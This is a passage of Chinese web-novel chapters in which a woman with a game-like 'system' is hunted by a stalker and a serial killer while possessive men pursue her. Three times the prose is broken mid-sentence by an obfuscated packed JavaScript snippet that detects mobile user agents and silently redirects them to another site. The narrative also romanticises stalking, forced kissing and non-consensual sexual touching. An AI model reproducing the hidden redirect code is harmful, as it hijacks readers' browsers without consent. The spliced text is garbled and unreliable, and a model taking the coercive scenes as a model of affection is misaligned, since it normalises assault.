她提心吊胆了一周,在S市经历的变态杀人狂和跟踪狂事件也没有再发生,仿佛那只是她午夜梦回做的一场噩梦。 眼见一切似乎回归正常,她便渐渐不再关注。 充足的大学生活,空暇时安童会回复一下江萦越来越频繁的联系,据说过几天会来找她,她对此倒是无所谓。 沈竹青经常跨学院来找安童,甚至和她一起上课,一起吃饭。 这疯狗像是守着肉骨头一样,想甩都甩不掉,让安童本打算回到学校就抛弃他的愿望落空。 不过,他经过一段时间后皮肤变得冷白,五官轮廓也更立体了,浓眉深目,凌厉中带着野性的气质直逼而来。 看在这副皮囊上,安童这段时间对他也和颜悦色起来,而沈竹青敏锐察觉到安童态度的软化,挺会蹬鼻子上脸,很有以色侍安童的自觉。 安童时不时被沈竹青的皮囊所迷惑,还以为他真变乖了,但没多久就原形毕露。 某次因为和其他男同学多说了几句话,就被他拉到楼梯间紧紧抱住嗅闻,在她脖颈处啃咬,怎么也推不开,眼角冒出泪花:“你……放开我!” 不痛,但很痒。 事后安童受不了了,在他唇上落下一个吻:“乖一点,如果你还想要的话。” 沈竹青愣了一会,她心想这下总能安分了吧。 结果这一招把对方底线也拉高,天杀的疯狗从那之后索要的更多,也更难满足了。 不过安童都没答应,依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807042|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧用一个浅浅的吻给他糊弄过去了,希望他别反应过来。 时间很快来到学校开展全国大学生编程比赛的这一天。 安童跟着导师来围观这场赛事,身边还跟着漫不经心的沈竹青,一起在观众席落座。 “这是你男朋友吧,前段时间学校论坛一直在热烈争论,哭得那叫一个惨烈,我还以为是假的!” 和安童熟识的女同学压低声音,从后座凑近安童悄悄问。 “我和他只是普通朋友,你们误会了。” 安童:别造谣,姐还是单身。 忽视沈竹青不爽的眼神,她解释清楚了自己和他的关系,同时心里开始犯嘀咕。 时间已经到了,但评审老师迟迟不见踪影,舞台上的LED屏不断切换着比赛介绍,以及参赛的几个大学大学的logo。 安童皱眉,这时手机突然震动一下,她点开消息一看,手机差点吓得掉到地上。 [宝宝,我来了,你想我吗?] [我好想你。] [但你太不乖了。] [宝宝,这次我要给你一点惩罚,等我。] 她头皮发麻,意识到自己又被变态男找上门了,沈竹青发现安童神色不对劲,趁她发呆夺过手机,看清后他眼神变得凶狠,额头青筋暴起,语气平静中带着要发狂的怒意。 “这是谁,他怎么能给你发这些消息?” 安童害怕地瑟缩一下,眼里带着惧意,楚楚可怜道:“你别这么凶啊……” 沈竹青不知道安童这样脆弱的神情是不是装的,但他还是放柔了语气,将眼底的冷漠凶悍隐藏起来:“他是故意给你发这些骚扰短信的吗,有没有报警?” 安童无辜地敛下眼皮,再次睁开眼时已经被泪水浸透,将之前发生的事一五一十地告诉了他。 “咚!” 沈竹青狠狠用拳头砸了椅子,见安童被吓到,又脸色僵硬地缓和下来,他牙关咬紧,像是从牙缝中蹦出来的字一样:“这段时间你跟着我,我来保护你,看他敢不敢来。” “放心,我会用家里的关系把他找到。” 安童心里其实不是很怕,目前来看,这变态男对她没有杀意,顶多担心一下自己的节操。 故意摆出一副我见犹怜的模样,就是想让沈竹青帮帮忙。 舞台上的几支队伍开始交头接耳,观众席也开始混乱起来,安童还是感觉不对劲,总有一种不祥的预感。 她准备去后台看看。 * 后台休息室惨不忍睹。 血-液喷-射得到处都是,墙壁上写着一行触目惊心的血字。 ‘好久不见,上次让你逃跑了,于是这次先备上一份见面礼,喜欢吗?’ 是那个变态杀人狂,他来找她了。安童不受控制地发着抖,眼睛一眨也不眨看着墙壁,眼泪被吓得根本不敢落下来,整个人都僵住了。 一旁的沈竹青眼神一凝,警惕着周围,将安童抱在怀里想要伸手遮住她的眼睛,被她一把推开。 她忍着恐惧走上前。 地上躺着一个男人,应该是这次的审判老师,他脖子上被划开一道长长的口子,血液还在不断从伤口渗出,应该是刚遇害不久。 未来她不会也变成这样呢,安童感到有些惶恐,但想想手中还有回档功能,以及系统提示,还是稍微放下心。 在安童精神紧绷的时候,房间角落的柜子突然从里推开,把她吓一跳。 沈竹青连忙走上前,站在安童面前,高大的身形将她笼罩,他面无表情,眼神冰冷漠然地看着这个从柜子里走出来的男人,长相俊美风流。 “这里发生了什么?” 这个男人捂着额头,对房间的变化感到惊疑,他的目光突然注意到被沈竹青挡在身后的安童,声音一顿,转而冷笑一声:“没想到又遇到你了,安童,你这个骗子。” “这次我不会让你溜掉了。” 16. 别扭 安童骗了萧白桦两次。 第一次是12岁时,她吐着血,可怜兮兮地说自己命不久矣,他信了。 第二次是在高铁上,他发现身患绝症的她竟然还活着,本来应该质问,但却再次被对方无辜的面容欺骗,把他留在原地。 这些事情充分说明,安童就是一个说起谎话不眨眼的骗子。 话音刚落,下一秒他脸色微变,控制不住地要往前走几步扶住安童。 “噗——” 刺目的红色斑斑点点地喷在地上。 安童突然吐出一大口血,脸色变成苍白脆弱,沈竹青紧张地扶着她,另一只手掏出手机,应该是在拨打急救电话。 萧白桦慢慢收回手,他嘴角一扯,为自己不由自主生出的担忧感到好笑。 很明显,这个骗子身边有一个新的护花使者,或者说是新的倒霉蛋,不知道这个人被安童欺骗后,看清了她的真面目,还能不能这么心安理得地当狗。 安童将头往沈竹青身后躲了躲,避开萧白桦的视线,轻轻拉住他的衣角,白着脸摇头,示意自己的情况还好:“我没事,缓一缓就好了。” 刚刚对房间的情况大概扫了一眼,系统的分析结果已经出来。 【检测结果:受害者是一名28岁的男性,根据血液喷溅情况,以及现场受害者身体扫描,此次案件为自-杀】 匪夷所思,一位前途大好的高校老师,为什么会在休息室结束自己的生命? 而另一个人…… 她悄悄觑了一眼萧白桦。 休息室亮白的灯光,他站在明暗交界处,半张华丽精致的脸笼罩在阴影中,另一边在光线照射下白得几乎透明。 像是住在古堡里的吸血鬼,风流又神秘。 这个倒霉蛋怎么会和受害者在同一个房间,从柜子里走出来? “你都吐血了,怎么可能没事?” 安童被惊得连忙环住沈竹青的脖颈,被他抱着就往门外走。 沈竹青面色仿佛被罩在阴云密布下,眼里透着冰冷森然,他轻松制住安童推搡的手,给拢在一起,心情不虞。 都吐血了,怎么可能没事? 在没从安童这里讨回他想要的东西之前,他绝不允许她出事。 “……” 安童不挣扎了,两眼一闭,双手横放在胸口,可恶啊,本来她想去问萧白桦前因后果的。 就在沈竹青抱着安童出门之际,外面的人也察觉到不对劲,纷纷进来查看,在看清休息室的惨况后,有人发出尖叫。 “啊啊啊!陈老师死了!” 有人对房间内可疑的萧白桦发出质问:“好像只有他和陈老师一起迟到,不会是他……” 萧白桦捂着头上的伤口,来不及辩解,便被一群人给控制住,等待警方到来。 * “对不起,我不想和她说话。” 萧白桦被关在房间内,靠在椅子上,仰头望着前来传话的同学,一双好看的桃花眼似笑非笑。 “她说是你的朋友,想来了解一下情况。” 听到这话,他冷笑,一共就见了三次面、还被骗了两次的朋友吗。 同学又解释了几句,萧白桦冷哼一声,将头扭开,但心里却动了动。 他想,安童不会是对自己撒谎两次的事感到愧疚了吧,或许该给她道歉的机会。 见萧白桦没说拒绝的话,同学终于放下重担一样舒了口气,害怕得立马跨出门,把安童叫了进来。 “安童,你小心点,这人看着就不像好人,而且身上有很大的嫌疑,说不定真是他……” 看他吓成这样,安童心里感慨萧白桦这是什么鬼运气,上次见到他是被人选做杀害目标,这次直接被栽赃成了凶手。 和她的霉运简直有的一拼。 沈竹青在一旁抱着手臂,神色不善地盯着这门,安童在刚才已经把连环杀人犯的事告诉了他。 又是连环杀人犯,又是变态跟踪狂,安童到底招惹了些什么东西,沈竹青恨不得把她拴在身边随时看着。 真是怕自己哪一天没注意,安童就像路边香饽饽的饼一样,一不留神就被人叼走了。 但这是沈竹青绝对不允许的,安童是他的所有物,怎么能被别人伤害或是拐走。 他又气又焦虑,恨不得找把刀把那些觊觎安童的人全给毙了。 见安童真要进去问话,他咬牙,很是不想她又掺和这趟浑水,但拗不过她的性子,便一起跟着进去了。 安童打开门,看见被捆成一团的萧白桦,一时有些好笑又唏嘘。 “可以讲讲发生了什么吗?我知道你是冤枉的,或许能够帮助你。” 原来安童真的在担心他。萧白桦抬起头,摆出了一副无所谓的样子,心想他才没原谅安童,只是和她聊聊天而已。 却见安童身后赫然站着人高马大的沈竹青,扫向他的视线毫无温度,脸上扬起一个凶狠阴森的笑。 看起来下一秒就会掏出一把刀来砍他,到时候房间里会不会再次多出一个受害者也说不定。 萧白桦:“……” 呵,进来看他还带着一头恶犬。 刚刚应该让那同学在门口立一个字牌——骗子与恶狗勿入。 “是那个同学自己让你进来的,我没说要和你聊天。” 安童蹲在萧白桦面前,满脸真诚试图和他沟通,但她一凑近,萧白桦的脸就转向另一边,摆出一副拒绝沟通的神态。 “啧,这人这么犟,我们就别管他了,”沈竹青怎么都看萧白桦不爽,搁这摆什么谱呢,他拉着安童的手就要离开,“走吧。” 诶诶,别急啊。安童对沈竹青露出一个安抚性的笑,希望这疯狗赶紧消停一点。 她对着萧白桦琢磨了一下,重新蹲在他面前。 他转向哪,安童就挪向哪,两手局促的放在膝盖上,水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812841|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 润的狗狗眼无辜茫然地下垂着,怯怯瞧向萧白桦。 “之前骗你是我不对,但我也不是故意的,因为我身体确实不好,刚刚你也看到了……” 萧白桦内心清楚,这小骗子说不定又在使计哄他开口呢,但又不禁想到那触目惊心的血。 他冷着脸,本该含情的双目此时却刺入人心:“我也不知道发生了什么,在备赛的时候突然收到一条匿名短信,说陈老师在后台休息室有事找我,我没多想,刚到门口就被打晕了……” 嗯,虽然看着表情很冷,但说话还是很实诚嘛。 安童对他听话的态度很满意,又追着问了一些细节,得到想要的信息后,便准备离开。 她被沈竹青拉起身,刚要出门,余光瞥见萧白桦露出果然如此的神色,明明模样看着冷淡镇定,却给她一种强撑着的感觉。 不知怎么,萧白桦让安童想起了在电视机上看过的雪狐,一样的别扭又傲娇。 萧白桦低着头,看着绑在身上的绳索发呆。 早该认清的,安童就是这样,总是丢下他离开。 但这多正常啊,本来就不熟,不过是他单方面一直对童年时遇到的安童念念不忘,萧白桦在心里嘲笑自己。 这时,空荡的房间再次响起脚步声。 “你放心,我会帮你排除嫌疑的。” 萧白桦猛地看向前方,安童正笑吟吟的蹲在他面前,只有她一个人。 安童想了想,伸手摸了摸他的头,语气比之前真诚了一些:“之前骗你对不起啊,但我也没法控制,你以后别这么容易信我了。” 萧白桦垂在腰侧的手咻地握紧,一言不发地看着安童离去的背影。 * 尽管发生了一场血案,学校里也没有受到太大的影响,树荫下人影流动,正值青春的大学生匆匆忙忙地奔走在路上。 沈竹青紧紧跟在安童身后,不爽道:“你干嘛把我支走,和那人单独说了些什么?” 疯狗你先一边叫一会吧,现在没空理你。 安童没搭理他,埋头打开手机,准备给被她冷落一段时间的谢岩讲明这里的案件。 被安童晾在一边的沈竹青眼睛一眯,悄悄走到她身后往屏幕上一看,却被安童敏捷地滑出聊天框,回到主界面。 她侧头,举着手机指向沈竹青,瞪着他:“不许偷看我手机。” 沈竹青拉下安童的手,凑到她跟前,因为刚刚看到的东西声音带着藏不住的笑意:“你为什么我微信置顶啊?” “因为最在意谁,就要把谁置顶啊。” 安童随口就是一句甜言蜜语,把沈竹青哄得没边,这不说明他在安童的地位比沈长昀高多了吗,或许比安童认识的任何人都要更重要。 安童给谢岩发完消息,笑而不语。 为了平衡池塘里养的鱼,所以和谁出去就会把谁置顶。 虽然操作很狗,但至今没翻车过。 17. 是认识的人 发现只有自己被微信置顶后,沈竹青有一瞬间嘴边的笑怎么都憋不回去,但他很快反应过来,绷着脸,扯着安童的手将她拉近,感到有些好笑:“你给我的备注是什么?” 沈疯狗? 沈竹青对这个称呼有些哭笑不得,同时心中跃跃欲试,甚至是兴奋愉悦。 他这段时间待在安童身边,几乎收敛了曾经六亲不认、凶悍无礼的样子,圈内的人看到沈竹青如今的窝囊模样,都要怀疑这人是不是他。 他难道还不乖吗?就这样还成了安童口中的“疯狗”,被剥夺人籍,那要是真的再过分一些,安童岂不是得抹着眼泪锤人,让他停下来。 安童握着手机的手紧了紧,有些心虚地看向另一侧的树,树下有学生正在摄影,她理直气壮地转移话题:“一会儿我有一门课要上,你要和我一起,还是先走啊?” 显然,她是不准备解释了,沈竹青和气地笑了笑,埋头就在安童锁骨上狠狠咬了一口,就如安童所愿,像一头疯狗一样咬人。 诶诶,光天化日,成何体统! 安童痛得惊呼一声,紧张地看着周围路过的同学,生怕她和沈竹青被当做变态,她狠狠锤了一下他的背,声音却委委屈屈的。 “喂,快放开,你不知道自己牙口很好吗!很痛的……” 趁安童不注意,沈竹青头也不抬地夺过她的手机,把备注改了。 安童摸着锁骨上的印子,愤怒不解地点开手机看了看,然后无语了。 ——“安童的沈疯狗” 沈竹青笑吟吟的:“既然知道我疯,那你就想办法拴着我的绳子,来管束我。” “毕竟,家养的、被驯服后的狗,怎么也比外面的野狗好,不是吗?” 没见过这么上赶着当狗的。 安童感觉沈竹青在一语双关,但她可是一个安分守己的老实人,怎么会沾花惹草呢。 到了教室,几乎已经坐满了人,最后安童不得不和沈竹青坐到前排的空座。 安童左边坐着沈竹青,右边是一个短发女生,看着有些眼熟,但她从小人缘就好,认识的人多了去了,难道每一个人的姓名她都得记得吗? 于是安童没在意,低下头开始鼓弄手机。 谢岩在刚刚打了几十通电话,安童不知道这死板的蠢驴怎么养成这么爱打电话的习惯,这会又打来一个,她随手就给挂断了,开始打字。 [安徒生:直接发文字,我不喜欢接电话。] 很快,对面有了回复。 [大大大蠢驴:要说的事情有些多,这起案件危险复杂……发文字一时半会说不清,我们当面对话会更快一些。] 警局办公室内,谢岩垂眼专注地盯着手机屏幕,他清楚自己其实在说谎,这个行径在过去被他视为不耻,没想到现在却对着安童踩了线。 刚刚解释了一大堆,看着冠冕堂皇的官话,其实是欲盖弥彰,遮掩自己想要表露的真实想法。 其实说白了—— 他就是想要听安童说话了。 在看到安童打来的电话时,他近乎手足无措地误触了好几下,差点给挂掉,才在安童耐心告罄前接通。 谢岩清了清嗓子,像是许久未归家,头一回见到对象的小媳妇一样,嗓子紧绷干涩,一出口时声线粗糙得让他后悔。 “好久不见了,你过得还好吗?” “我还要上课,再不说正事我就挂了,3、2——” 安童随便编了个理由骗过沈竹青,找到一个空教室给谢岩打电话,结果蠢驴搁这上演久别重逢偶像剧呢,简直浪费她时间。 她脸蛋皱巴巴的,嫌弃地将手机拿远,靠在窗边懒洋洋地,听着谢岩语速极快地讲述起案件。 “听你的描述,发生在学校的这起案件大概和S市的连环杀人犯有关,你还记得连环杀人犯的特征吗?” 安童回忆了一下:“男,28岁。” “这次你学校的受害者也符合侧写结果,世上有这种巧合吗?”谢岩语气沉凝,“见面礼,到底什么样的东西算得上见面礼,什么样的人才能用这种口吻?有一种可能,S市连环杀人案件的背后,有一个暗中观察、掌控一切的人。最新杀人案件的凶手,以及想杀你的小警员,都是他的手下。” “你的同学可能早就成为幕后黑手的目标,还记得高铁上有人试图行凶吗?他也是幕后黑手的人。” “……!”不会吧不会吧! 真的没有危言耸听吗?! 安童感到一阵寒意窜上后背,身子逐渐站直,像是渴求温度一样看向窗外,却发现楼下有个人在注视自己,她几乎瞬间应激,想起上次的变态男。 但转眼那人就不见了,安童只当是自己太过紧张产生的错觉,她蹲下身,贴着手机小声道:“你有什么证据吗?” 谢岩仿佛透过屏幕看到了安童紧张害怕的眉眼,大概像猫儿一样蜷缩着抱紧自己。 虽然不清楚此时小绿茶身边有没有其他男人,会不会对着那个人可怜无助的装,谢岩只能告诉自己,至少现在和她聊天的只有他,也只有他能安慰她。 “别担心,这个人应该不会想杀你,不然这些日子不会这么安生地度过,”谢岩语气放缓,一个一米九的硬朗大男人,用着不符合外表的轻柔语气,尽管内容透露着他钢铁直男的低情商,“不过尽管你没有生命危险,还是要小心,可能对方是想从你这得到别的东西。” “……” 安童被这么劝慰了一下,更忐忑了,更更令人忐忑的,是随着谢岩接下来的话,冒出的系统特殊事件。 “你走之后,我们根据对小警员的审问,察觉到不对劲,便把S市最新发生的案件归到了连环杀人案,同时也翻找出其他或是自-杀或是行凶的案件,得出一个结论。” “幕后黑手极有可能擅长洗脑催眠,经营某种非法组织,其中成员是他的教徒,而他是这个组织的教主。” 【特殊事件:你成为了某非法组织教主的目标,至于对方所策划到底是为了什么,暂不明确。请宿主在保重生命的前提,探寻真相】 安童满脑子只有四个字:危危危危。 她不是来体验模拟人生的吗,怎么就不明不白的有生命危险了? 谢岩讲着讲着,发现对面没有动静了,他捏着手机的壮实胳膊用力,紧张地叫着:“安童,你在吗,是出事了吗?” 比安童的回应先传来的,是她哭着抽泣吸鼻子的声音,有着说不出的脆弱和可怜。 “我不就是帮你们做了个侧写嘛,怎么这么倒霉啊,又是有人想杀我又是跟踪我的,现在还莫名其妙多出一个大反派要搞我……德行值到底要怎么,怎么才能提提提高啊!谢岩你确定我不会有事吗,我真的好怕……” 前面的话听得谢岩心也跟着揪起来,但德行值是什么?安童在说什么乱七八糟的东西,难道是太紧张,已经开始胡言乱语了吗? 谢岩不想看到安童这样沮丧忧惧的模样,小绿茶还是平常那样装装的样子更有活力。 他声音轻柔得不像是自己的口吻,一旁拿文件路过的警员看到谢岩这副铁汉柔情的样子,惊得看了好一会。 “明天我会来A市,调查这起案件,到时候,我……可以保护你,不用害怕。” 谢岩不放心地又交代几句,像是叮嘱自家要出远门的孩子一样,恨不得事无巨细。 安童又落了几滴眼泪,声音闷闷的:“嗯。” * 安童打算在空教室多待待,不然眼睛哭得红肿了,叫沈竹青看见,又得逼问她怎么了。 她给沈竹青发了个消息,告诉他如果点名,就说她有急事耽误了一会。 教室里很安静,不同班级上课的声音透过墙壁传来,热闹的人声驱散了一些安童内心的不安,她多疑地蹲着身子,小心翼翼探出脑袋,向窗户外看去。 没有人跟踪监控她。 可能真的是想多了,安童打算刷会手机缓一缓,随机找几个幸运儿聊聊天。 沈长昀最近很忙,没有时间来见她,但每天都会发消息,今天也不例外。这老男人还挺大方的,安童随意地回了个表情包,接着看下一个人。 顾峤学长今天没有发消息,安童不带犹豫地往下滑,她看了看江萦的消息,惊讶地发现自己已经好几天没有回消息了。 但这真不能怪她,江萦最近聊天倒是不精分了,但变得冷淡无趣,一点没有他的第二人格好玩。 安童蹲在墙边,一只手搅着窗帘,一只手发消息,想试试能不能激发这典型案例的第二人格。 [安徒生:(小狗招手)] 对面几乎秒回。 [萦:你最近为什么不回我消息。] [安徒生:你最近不像以前那样开玩笑,让我差点以为换了个人哈哈。] 安童等了足足五分钟,也没有等到回复,对面沉默得像死了一样。 hello,兄弟,你死机了吗? “叮叮……” 下课的铃声响起,安童也蹲累了,她撑着墙壁慢慢起身,伸了个懒腰,活动了一下僵硬的四肢,准备回到教室。 安童走到门口,刚拉开门,发现站着一个人,还没看清对方长相,就被他遮着眼睛转过身子,半抱着往空教室带,她刚想呼救,就被捂住嘴。 “咚——”门被用力关上。 “唔唔!”安童使劲掰着对方的手,却只能将自己白皙纤细的手蹭红,徒劳无功。 变态男,是他,他来找她了!也不一定,说不定是那个想干掉她的教主,安童绝望地衡量这两种可能,一时不知道哪个可能更让她存有侥幸。 “都说了我会来找你,怎么这么大意呢?”这个人压低声音,安童分辨不出来,但下一句就让她彻底确定是谁了,“宝宝,我好想你。” 实锤了,是变态男!但这次她没有存档啊! 安童感觉自己像是案板上挣扎的那条垂死的咸鱼,怎么也翻不了身,破罐子破摔地放弃挣扎,这个人感受到她的妥协,笑了笑:“早知道这么乖该多好。” “你知道我接下来会干什么吗?” 他的一只手不再遮住安童眼睛,而是顺着她的腰身抚摸,膝盖将安童的双腿分-开,她轻轻抖了抖,却被抱得更紧,仿佛她的心脏也连着另一个人的心脏,融为一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823390|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体,无法逃脱。 这个人的动作带着漫不经心的逗弄,他咬了咬安童的耳朵,再缓缓舔-坻着:“我会做得比这更过分,”他摩-挲了一下安童丰润的嘴唇,将一根手指微微探-入,使其被迫含-住,并在其中搅-了-搅,她嘴巴不禁流着津-液,又被他暧昧地舔-去。 “这就是你不乖的下场。” 安童内心怒骂着变态男,张口狠狠咬住对方的手,但他也没想着抽出来,任由安童咬得血肉模糊。 “这下你总长记性了吧,这次是我,说不定下次真的会遇到那跟踪狂,或者杀人狂。” 咬着手指的牙齿一松,安童嘴上沾着血迹,两眼透着茫茫然,头脑发昏。 这是沈竹青的声音。 沈竹青松开手,将安童转过身,看着她仿佛傻了的样子,脸上扬起笑,眼神戏谑地凑近她:“这就被吓傻了?我还没做什么呢,把我丢在教室一个人跑外面这么久,你不知道现在是什么情况吗?” 他感觉安童现在就像被吓得动弹不得的猫,尾巴高高翘起,但却因逃脱不了而愣在原地,极大的满足了他的恶趣味。 沈竹青有些不知名的兴奋,他搂着安童的手更加用力,像要融进对方骨肉里,语气压低,刻意变得凶狠阴森:“下次如果还一个人出来,说不定有人做得比我还过分,他可能会撕掉你的衣服,或是狠狠缠上你的口-舌,也许更过分,他会……” “啪——” 这疯狗!安童气得说不出话,他知不知道这样的行为把她吓惨了,有必要搞出这样乱七八糟的事情来提醒她吗? 再说了,他算是她的什么啊,顶多是一条不听训诫的狗,就这样管东管西! 沈竹青近乎乖顺地顺着力道歪过头,他伸出舌头舔了舔嘴边渗出的血,紧盯着安童,像是盯着怎么也逃不了的猎物,笑了:“现在的力道比以前大多了啊。” 他将另一边的脸露出来,脸上的笑近乎夸张,声音中带着粗重的喘息:“这边你也可以打。” 沈竹青凝着安童嘴边沾着的血迹,这张纯洁的脸,他瞳孔紧缩:“不过我最后都会讨回来。” 事实证明,疯狗真的很难训。 尽管他伪装的再乖巧,本质还是头随意发疯不听人话的畜生,野性难驯。 教室外不断传来人声,安童放弃和畜生沟通,她打开手机看了看,快要上课了。 安童绕过沈竹青,一声不吭地就要离开,脸上没有任何表情管理,显得比以往哪一次都要冷淡。 不知怎么,沈竹青心里发慌,像是有鼓点在强震一样,仿佛有什么不好的迹象要到来,但他理不清,只会伸手抓住安童的手腕,天真疑惑道:“你为什么不打我?” 安童:“松手。” 他理应再纠缠一会的,但面对着这样冷漠的安童,沈竹青有些不知道拿她怎么办才好。 他拧着眉,试图用凶悍的表情威胁安童,但她不为所动,只知道说两个字“松手”。 试探着像以往一样,抓住她的手到嘴边咬住,但没有用力,他观察着安童,这个时候她应该露出委屈不爽的表情,然后他会假装听话放开。 但没有,安童像是一个复读机,只知道重复着让他开始头疼的两个字:“松手。” 仿佛没有任何手段能激起安童的情绪了,安童扯了扯,很轻易抽出手,不带留恋地走出了门。 沈竹青站在原地呆愣着,冥冥之中,好像有道声音警醒着他——你要被主人抛下啦。 * 警局内。 谢岩突然想起,有一件很重要的事忘记告诉安童了,他拿起手机就要打电话,但想起她说不喜欢接,便换成了发消息。 走廊上。 安童怒骂着沈畜生,已经模拟出了好多场景让他人道毁灭,心里的小飞镖嗖嗖嗖地就把脑子里沈竹青的形象扎成刺猬。 就在路过一间无人的教室时,安童猛然间被人拽了进去,然后遮住了眼睛和嘴巴。 又来! 安童这次张嘴就狠狠咬着对方的手,但这次他竟然带着一副手套,压根咬不动! 这个人嘶了一声,语气诙谐:“宝宝,怎么咬这么凶,是想我了吗?” 似乎才想起安童不能说话,他将手放开,道歉道:“现在你可以说话了。” “沈竹青,你够了!要闹到什么时候?” “宝宝,你把我当成谁了?”语气阴郁,刚刚的轻松笑意全没了,他这才注意到安童嘴唇上全是血,也不知道是自己的,还是其他野男人的。 安童蹙眉,沈竹青这是在搞什么,在犹豫时,被对方转过身,还没来得及说什么,就被人堵住嘴,凶狠不留情,带着惩罚意味。 “宝宝,上次你找来了一个男人把我赶跑,让我很不高兴,本以为你会乖的。” “但你怎么能把我认成其他男人呢?” 沈竹青不知道她和谢岩认识,所以…… 安童手一抖,手机掉落在地,在屏幕熄灭前,收到了最新的一条消息。 [大大大蠢驴:上次你让我找的跟踪狂,我最近想起,他的身影很眼熟,很像我们认识的一个人。] 18. 她变了 明暗交织的光线洒在室内两人身上,被放在桌面上的动作带起细小的灰尘,在他们身上暧昧地跳动着。 四周空气仿佛滞住,带来的是无尽的闷热,让人忍不住想要寻找喘息的口子。短暂抽离片刻,颊上浮起一片红晕,却又再次被带入令人晕眩的纠-缠。 虽然没有更过分的举动,但安童仍感觉自己像是被一条阴湿贪婪的蛇给紧紧缠住,要被吞噬殆尽一样,挣脱不能。 啊啊啊这人是亲嘴怪吗!安童抓狂,坐在桌子上动弹不得,两只手使劲揪着前面这人的头发,恨不得给他揪秃使其停下。 对方像是没有痛觉的怪物一样,或者说这点疼痛反而刺激了他,搂着安童腰肢的手再度用力。 安童再次趁喘息时咬破对方嘴唇,可这人只是用高挺的鼻梁蹭了蹭她的脸颊,纵容地柔声道:“宝宝牙口真好,还想再咬吗?” “……” 她想要扭头避开,却被追得更紧,嘴唇上火辣辣的肿疼,还蔓延着对方唇舌上的血腥味。 不行,安童沮丧地垂着泛红的眼尾,拽着对方头发的手微松,有些悲伤地想着,她放弃探寻这人是谁了,毕竟她甚至找不到机会说话。 最重要的是,她在走廊时忘记存档了,被这变态男带进房间的那一刻才匆匆存了档。 可这有什么用呢,现在安童就像变态男嘴边的一道菜,是打算回档让对方重新享用一遍吗? 这人似乎察觉到了安童的情绪,停了下来,他将头侧靠在安童的肩膀上,搂着她的腰,将她整个人拥进自己怀里。 说话时,手指漫不经心地摩挲着安童的腰间,让她忍不住缩了一下。 “或许,你可以猜猜我是谁。” 说这句话的语气雀雀欲试,仿佛等不及了似的,期待着安童发现他的身份。 变态。 安童伸手狠狠擦着自己的嘴,在这样的场景下,她也藏不往自己的情绪了,声音仍然柔弱可怜,但却很嫌弃地开口:“一会再猜吧,你有纸吗,血的味道很臭你知道吗?” “既然你不怕痛,那就不能再进化一点解锁不流血的天赋吗,搞得我嘴里全是铁锈味,恶心死了,你这个人也是。” 这句话几乎有点不讲道理了,人怎么可能不流血? 这个人眉梢一挑,颇有些诧异,毕竟安童一向是乖巧柔弱的形象,无害且脆弱,在自然界中是最能令人放下戒心的食草动物。 “下次你干脆在嘴里镶钻吧,这样咬下去只会磕到我的牙齿,但环保又卫生,你说是吧?” 安童梦游似的,想到什么就骂什么,一只脚狠狠踢着对方的腿,祈祷着直接踢断然后让她逃跑。 他没在乎这点力道,看着被遮住眼睛的安童,她嘴角不开心地下撇着,说话刻薄又不耐。 龟缩在无害外表下的人,露出了她牙尖嘴利的面孔,试图吓退进犯的敌人。 这幅样子不符合安童以往给人留下的印象,但格外新鲜,他像是发现了新大陆一样,笑了:“好啊,在我衣兜里,宝宝你拿吧。” 这个意思是让安童自己拿了。 事情已经这样了,安童难道还怕情况更坏吗?她扬起手重重打在这人脸上,嘴巴惊讶地微张,小声惊呼:“哎呀抱歉,我好像看到你脸上有个虫子,你不会怪我吧?” 他喉结动了动,脸上虽痛,但心里却烧了起来。 毕竟曾经连和安童关系近一点都是奢望,尽管安童现在态度再恶劣,就算打了他,也好过成为与之没有交集的平行线。 况且,这样的安童像是个待发掘的宝藏,不知道还会有什么惊喜等着他。 刚要说话,却见安童温柔地抬起手摸着他被打的脸,红润的嘴唇一张一合:“一定很痛吧,对不起嘛,我真的不是故意的。” 尾音像要内疚得快哭出来一样,他听着这样的语气,忍不住心生一些她是不是也喜欢我的妄想,刚要说话,却冷不丁又挨了安童一巴掌。 这下子左右两边整整齐齐了。 “好吧,其实我就是想打你,你难道没手吗,不知道把纸递给我,真是没礼貌。果然像你这样的变态,就是臭水沟里的老鼠,是见不得人吗,为什么不让我看到你的样子。” 最后一句话的语气变得极其冷淡,却让另一个人是身子滚烫了起来。 他更喜欢安童了。喜欢她表现出来的伪装,也喜欢她情急之下暴露出来的恶劣。每一处都喜欢极了,想要亲-吻她的肌肤,想要融入她的骨血,想要…… 他俊秀的脸上顶着两道巴掌印,体贴地将纸递给安童,看她将嘴不断擦拭,道:“抱歉,是我的问题。” “咚咚——” 敲门声响起,门外的人急促地敲着:“喂,里面有人吗?安童,你在里面吗?” 